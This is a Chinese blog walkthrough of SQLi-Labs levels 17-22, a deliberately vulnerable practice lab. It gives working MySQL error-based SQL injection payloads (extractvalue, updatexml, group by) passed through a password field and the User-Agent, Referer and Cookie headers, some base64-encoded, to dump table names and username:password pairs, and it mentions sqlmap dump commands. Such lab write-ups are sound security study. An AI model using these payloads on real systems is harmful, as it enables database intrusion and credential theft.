《SQLi-Labs》03. Less 17~22

sqli-labs训练平台靶场详解!!!! 下面选取几个具有代表性的关卡,演示几种 SQL 注入漏洞利用方法。 阅读详情

title: 《SQLi-Labs》03. Less 17~22
date: 2023-05-06 23:22:47
updated: 2023-10-12 19:29:46
categories: WriteUp:Security-Lab
excerpt: update 类型注入,insert 类型注入,extractvalue 报错注入,updatexml 报错注入,group by 报错注入,http 头传递 payload。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png



靶场部署在 VMware - Win7。

靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-17:update 类型注入,字符型【'】,extractvalue 报错注入,updatexml 报错注入,group by 报错注入。
  • Less-18:insert 类型注入,字符型【'】,User Agent 头传递 payload,extractvalue 报错注入,updatexml 报错注入。
  • Less-19:insert 类型注入,字符型【'】,Referer 头传递 payload,报错注入。
  • Less-20:insert 类型注入,字符型【'】,Cookie 传递 payload,报错注入。
  • Less-21:insert 类型注入,字符型【')】,Cookie 传递 payload(需 base64 编码),报错注入。
  • Less-22:insert 类型注入,字符型【"】,Cookie 传递 payload(需 base64 编码),报错注入。

Less-17

在这里插入图片描述

题解

第 17 关是密码重置页面,之前的联合注入、布尔盲注以及时间盲注都不能用了。

由于是在修改密码处有注入,所以使用 burp 在 passwd 处传递 payload,比较方便。

在这里插入图片描述

先直接看报错注入的方法。

方法一

extractvalue 报错注入。

爆数据库版本:

1' and (extractvalue(1,concat(0x7e,version(),0x7e)))#
# 另一种写法:
1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

接下来只需要将 select @@version 换成其他子句就可以进行其他的注入了。
concat() 和 group_concat() 作用一样。

爆数据库名:

1' and (extractvalue(1,concat(0x7e,database(),0x7e)))#

爆表名:

1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#

爆字段名:

1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)))#
# 另一种写法:
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))#

mysql 数据库不支持同一张表同时查询和更新,所以在爆同一张表的字段内容时需要加一个中间表,也就是子查询。但这样一次就只能查询一个用户名与密码,而且用户名需要猜解。

针对 MySQL 爆同一张表字段内容(需要猜解用户名 username):

1' and (extractvalue(1,concat(0x7e,(select password from (select password from users where username='admin1') b) ,0x7e)))#

在这里插入图片描述

对于其他表,可以正常爆出所有字段内容:

1' and (extractvalue(1,concat(0x7e,(select group_concat(id,':',email_id) from emails),0x7e)))#

在这里插入图片描述

方法二

updatexml 报错注入,和方法一的 extractvalue 报错注入类似。

爆数据库版本:

1' and (updatexml(1,concat(0x7e,version(),0x7e),1))#

爆数据库名:

1' and (updatexml(1,concat(0x7e,database(),0x7e),1))#

爆表名:

1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

爆字段名:

1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x7e),1))#

针对 MySQL 爆同一张表字段内容(需要猜解用户名 username):

1' and (updatexml(1,concat(0x7e,(select password from (select password from users where username='admin1') b),0x7e),1))#

对于其他表,可以正常爆出所有字段内容:

1' and (updatexml (1,concat(0x7e,(select group_concat(id,':',email_id) from emails),0x7e),1))#

方法三

group by 报错注入。

爆数据库版本:

1' and (select count(*) from information_schema.tables group by concat(version(),0x7e,floor(rand(0)*2)))#

爆数据库名:

1' and (select count(*) from information_schema.tables group by concat(database(),0x7e,floor(rand(0)*2)))#

爆表名:

1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#

爆字段名:

1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#

针对 MySQL 爆同一张表字段内容(需要猜解用户名 username):

1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#

总结

update 类型注入。

extractvalue 报错注入:

  • EXTRACTVALUE(XML_document, XPath_string)
    • XML_document:String 格式,为 XML 文档对象的名称。
    • XPath_string:Xpath 格式的字符串,需要了解 Xpath 语法。
    • 介绍:用于从 XML_document 中提取符合 XPATH_string 值的 SQL 函数。

updatexml 报错注入:

  • UPDATEXML(XML_document, XPath_string, new_value)
    • XML_document:String 格式,为 XML 文档对象的名称。
    • XPath_string:Xpath 格式的字符串,需要了解 Xpath 语法。
    • new_value:String 格式,替换查找到的符合条件的数据。
    • 介绍:改变 XML_document 中符合 XPATH_string 的值,用于在 XML 类型的数据中更新元素的值。

updatexml() 报错注入和 extractvalue() 报错注入差不多。当 XPath_string 语法报错时就会触发报错。可以通过构造恶意的 XML 数据来触发报错消息,从而获取敏感信息。

group by 报错注入可以参考:

《深入理解group by报错注入》:
https://blog.youkuaiyun.com/m0_53065491/article/details/121893986

Less-18

在这里插入图片描述

题解

这题可以使用以下用户登录:用户名:Dhakkan,默认密码:dumbo。当然密码可能在 Less-17 被更改了。

这题登录成功后可以看到回显了 User Agent 头。

在这里插入图片描述

看了一下源码,这题属于 insert 类型的注入,后端将 User Agent 的值插入了数据库。

且插入语句需要三个参数。因为【#】后面都被注释了,所以构造 payload 时也需要有三个参数。

在这里插入图片描述

依旧使用报错注入,通过 User Agent 头传递 payload。

在这里插入图片描述

构造数据简单判断字符类型。页面显示正常则可以将其他参数换成 sql 语句进行报错注入。

1',2,3)#

在这里插入图片描述

可以使用 extractvalue 报错注入与 updatexml 报错注入,这里以 updatexml 报错注入为例。

爆数据库版本:

1', 2, (updatexml(1,concat(0x7e,version(),0x7e),1)))#

爆数据库名:

1', 2, (updatexml(1,concat(0x7e,database(),0x7e),1)))#

爆表名:

1',2, (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)))#

爆字段名:

1',2, (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x7e),1)))#

爆字段内容:

1', 2, updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1))#

在这里插入图片描述

注意爆出的数据长度有限。

总结

insert 类型注入。

User Agent 头传递 payload。

详见 Less-17:

  • extractvalue 报错注入
  • updatexml 报错注入

Less-19

题解

这题可以使用以下用户登录:用户名:Dhakkan,默认密码:dumbo。当然密码可能在 Less-17 被更改了。

当输入正确的账户密码时 referer 字段内容会显示在页面。

在这里插入图片描述

与 Less-18 类似,插入的 sql 语句有两个参数,一个是 referfer,一个是 ip 地址。

爆字段内容:

1', updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1))#

其他语句参考 Less-18。

Less-20

题解

这题可以使用以下用户登录:用户名:Dhakkan,默认密码:dumbo。当然密码可能在 Less-17 被更改了。

当输入正确的账户密码时 Cookie 字段内容会显示在页面。

在这里插入图片描述

通过 Cookie 字段传递 payload。理解了 Less-18 这题就会做了,原理和 Less-18 一样。

爆字段内容:

' and updatexml(1,concat(0x7e,(select group_concat(username,":",password) from users),0x7e),1)#

在这里插入图片描述

其他语句参考 Less-18。

Less-21

题解

与 Less-20 很像,只不过 Cookie 经过了 base64 编码而已。且是【')】字符型。

在这里插入图片描述

将注入语句 base64 编码后传递即可。

爆字段内容:

') and updatexml(1,concat(0x7e,(select group_concat(username,":",password) from users),0x7e),1)#

# base64 加密 #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCI6IixwYXNzd29yZCkgZnJvbSB1c2VycyksMHg3ZSksMSkj

在这里插入图片描述

其他语句参考 Less-18。

Less-22

题解

与 Less-21 并没有太大区别。【"】字符型。

将注入语句 base64 编码后传递即可。

爆字段内容:

" and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1)#

# base64 加密 #
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwweDdlKSwxKSM=

在这里插入图片描述

其他语句参考 Less-18。


半烟半雨溪桥畔,渔翁醉着无人唤。

——《菩萨蛮》(宋)黄庭坚

sqli-labs通关详解 sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” --current-db 爆破表单。sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch -D security --tables 最后脱库。条件正确有回显,条件错误没有回显,布尔盲注?py -r 文件位置 -p 扫描位置 --batch -D security -T users --dump //脱库。 阅读详情

相关推荐

别再只放按钮了!巧用微信小程序‘长按识别’功能,打造无缝加群体验

本文深入探讨了微信小程序'长按识别'功能在社群运营中的创新应用,通过简化加群流程至一步操作,显著提升用户转化率。文章详细解析了技术实现细节、UI/UX设计策略,并对比了与企业微信API的适用场景,为开发者提供打造无缝加群体验的完整解决方案。

weixin_42627853的博客 434

sqli-labs/Less-11

sqli-labs第十一关

m0_71299382的博客 348

从零开始:用Python搭建你的第一个加密货币量化交易机器人(附完整代码)

本文详细介绍了如何使用Python从零开始搭建一个加密货币量化交易机器人,涵盖环境准备、交易所API连接、基础交易策略实现、回测系统构建以及实盘部署等关键步骤。通过完整的代码示例,帮助读者快速掌握数字货币量化交易的核心技术,适合有一定编程基础的投资者入门。

weixin_30415113的博客 465

sqli-labs Less-11,12

sqli-labs Less-11,12

2202_75317918的博客 893

电子货架标签应用浅析(ESL)

​【 关注与分享,是对原创最大的鼓励 】 年底了,会断续介绍几个主要的BLE的应用及市场情况,这篇文章介绍的是电子货架标签, ESL (Electronic Shelf Label)。 文章将从应用简介,市场规模,产业链,头部玩家及系统框架进行介绍。只对技术感兴趣的可以直接拉到底。 ESL简介 ESL,是一种显示产品,其主要是替代传统的纸质标签,应用于大型商超,...

iotthings的博客 4691

别再只会按按钮了!用NanoStat开源项目学ESP32硬件设计:BOOT与自动下载电路的避坑指南

本文通过NanoStat开源项目深入解析ESP32硬件设计中BOOT与自动下载电路的关键技术。从启动机制、电路设计陷阱到三极管选型,提供了一套完整的避坑指南和优化方案,帮助开发者提升设计可靠性和烧录效率。特别适合中级开发者学习ESP32硬件设计的精髓。

weixin_30296405的博客 439

【网络安全】sqli-labs Less-11 解题详析

由上下两张图回显可知,注入类型为字符型注入。

等风来 4144

爬取国家统计局最近10年年度数据

一、编码流程 1.目标网址:https://data.stats.gov.cn/easyquery.htm?cn=C01 2.编码思路: (1) 解析左侧指标树,实现4级标签定位 (难点:层层嵌套,下一级指标的xpath路径以上一级指标为基础;不是所有二级指标都含有三和四级指标,需要进行判断) (2) 使用selenium webdriver 点选指标,加载出右侧表格数据 (难点:当指标无法在全局页面显示时,需向下拖动滚动条) (3) 解析右侧数据,实现数据存储 3.使用模块: (1) selenium:解

weixin_39645690的博客 4561

sqli-lab-less11

sqli-lab-less11。

Sa1nZen的博客 264

Pixel 6 Pro刷Android 13变砖自救指南:fastboot全分区擦除与手动刷入教程

本文提供了一份详细的Pixel 6 Pro在Android 13升级过程中变砖后的自救指南。针对因super分区锁死或动态分区异常导致的无法启动问题,文章核心介绍了通过fastboot命令手动擦除关键分区并逐一刷入官方镜像的完整救砖流程,帮助用户实现系统重建与恢复。

weixin_29208327的博客 373

手把手教你用MaxEnt+ArcGIS玩转物种分布预测

本文详细介绍了如何利用MaxEnt最大熵模型与ArcGIS软件进行物种分布预测。通过实战案例,从数据收集、环境变量处理、模型参数设置到结果可视化分析,手把手教你掌握生态位模型的核心流程。结合SDM toolbox插件,可高效完成数据预处理与高级空间分析,是生态学与保护生物学研究的实用指南。

weixin_29309475的博客 560

SQLI-LAB  的 实战记录(Less 11 - Less 20)

Less - 11 Error Based- String Less - 12 Error Based- Double quotes- String Less - 13 Double Injection- String- with twist

这块盾牌有待改良 4851

5分钟搞定Nano-Banana图片编辑API对接:从Base64编码到生成图片全流程

本文详细介绍了如何快速对接Nano-Banana图片编辑API,基于gemini-2.5-flash-image-preview模型,从环境准备、Base64编码到API调用的全流程。通过实战示例和优化技巧,帮助开发者高效集成AI图片处理能力,提升产品竞争力。

dog123的博客 260

sqli-labs靶场通关详细讲解(附php源码分析Less-17-22)

输入admin后发现页面返回浏览器信息,可以考虑在http头部中注入sql语句,并测试闭合语句。进入页面根据提示发现为密码重置,考虑在密码栏上进行sql注入,发现 ' 为闭合条件。只需对注入的语句进行base-64编码后再写入即可,注意闭合条件。与上一题一致,抓包后发现cookie值被进行base-64加密。其余均相同,都是先将注入语句进行base-64编码后注入。页面提示cookie 考虑到从cookie值上面进行注入。对注入的语句先进行base-64编码即可解决。页面无回显,考虑进行报错注入。

XiaooJ的博客 1225

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

基于Sqli-Labs靶场的SQL注入-17~22关

这一篇博客我主要讲了HTTP头部注入中的 UA、Referer、Cookie 注入以及 base-64编码。

Joker 2843

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

sqli-labs通关(less11-less22)

post型注入在username中输入单引号,返回报错,根据报错内容可知username需单引号闭合发现登录成功username中输入1’ union select 1,2#有两列并且有回显。

eee1122的博客 1993

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

sqli-labs靶场

输入1' and sleep(3)--+,响应时间为3秒,存在时间盲注。User-Agent/Referer注入(Less 18-19)POST报错注入(Less 13-14, 17)场景1:GET联合查询注入(Less 1-4)场景1:GET联合查询注入(Less 1-4)场景4:POST注入(Less 11-17)场景2:GET报错注入(Less 5-7)3. 测试注释符是否可用。场景3:GET盲注(Less 8-10)场景5:头部注入(Less 18-22)Cookie注入(Less 20-22)

2303_80588444的博客 986

SQL注入:sqli-labs靶场通关(1-37关)

sqli-labs是一个用于学习和练习SQL注入的开源项目。它提供了一系列的实验室环境,让用户能够在不同的SQL注入场景中进行练习和测试。这些场景包括基本的SQL注入、盲注、联合查询注入等等。 sqli-labs还提供了详细的说明和解释,帮助用户理解SQL注入的原理和技术。通过这些实验和学习,用户可以更好地了解SQL注入的危害,并学会如何防范和阻止SQL注入攻击

qq_68163788的博客 3万+

sqli注入详解——>sqli-labs less-1~65

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务器的是php服务器。工作流程为:client访问服务器能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。

qq_51780583的博客 2602

sqli-labs解题思路(Less-12到Less-22)

与Less-11一样随机录入,数据包发送到BP的重放器,探测闭合符是 ' 还是 "' 登陆失败,但没有错误信息,更换"" 有错误信息提示并且发现有) ,追加) -- 1又没有信息了,我的做法是先看看查询列数是怎么是输出,3有数据库的报错信息2没有这里可以使用联合注入: union selet 1,2 或者追加 or 1=1 进行布尔注入,因为前边能爆出错误信息,证明报错注入可行,也可以几许操作看看其他方式能不能注入两个都可以,接下来可以正常爆库,或者使用报错注入完成。

码强的博客 202

SQLI-LABS靶场详解(新手教程)持续更新中

Less--6Less--7Less--8Less--9Less--10Less--11Less--12Less--13Less--14Less--15。

2302_77969979的博客 210

SQLi-LABS Less-18到Less-22 头部注入

Less-18题目 先抓包 由它题目可以知道,这是头部注入。其实我也并不知道头部注入这个姿势,刚好做这道题让我了解一下…在百度过后,头部注入的话已经不能在用户名以及密码那输入SQL语句了,只能通过抓包改包看回显了…这里使用你在Less-17改过的密码登录到admin页面。 由登录页面的回显可以知道我们需要改的是这个地方 需要使用“ ’ ”去闭合 爆数据库 无论使用updatexml还是extractvalue,需要注意的是,这里后面需要闭合,不能用注释符,不然会破坏insert语句的插入。 查表

m0_64898960的博客 746

SQL 注入:Sqli-labs (1-65通关)、sqlmap、注入常用函数

SQL 注入:Sqli-labs (1-65通关)、sqlmap、注入常用函数

freeking101的博客 7612

从 0 到 1 玩转 Sqli-labs 靶场:环境搭建 + 全关卡漏洞解析

本文介绍了SQL注入的基础知识,包括常用函数、报错注入、时间盲注和布尔盲注四部分。并通过Sqli-labs 安全靶场进行 SQL 注入实践。

水滴石穿 1481

Sqli-labs 基本注入篇 (Less1~22)

前言 本blog作为练习笔记, 文笔不才, 仅供参考, 不正之处望大神指正。 基本注入篇对应labs的1~22关: 目录 Sqli-labs 基本注入篇 Less-1 单引号显错注入 一、手工注入 1. 判断字符型与整数型注入 2. 爆字段数 3. 爆库爆表爆字段 4. 取对应字段的值 二、sqlmap自动注入 1. 检测目标网站存在的注入漏洞类型 2....

angry_program的博客 2200
上一篇: 《CTFshow-Web入门》08. Web 71~80
下一篇: 《Kali渗透基础》01. 介绍
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值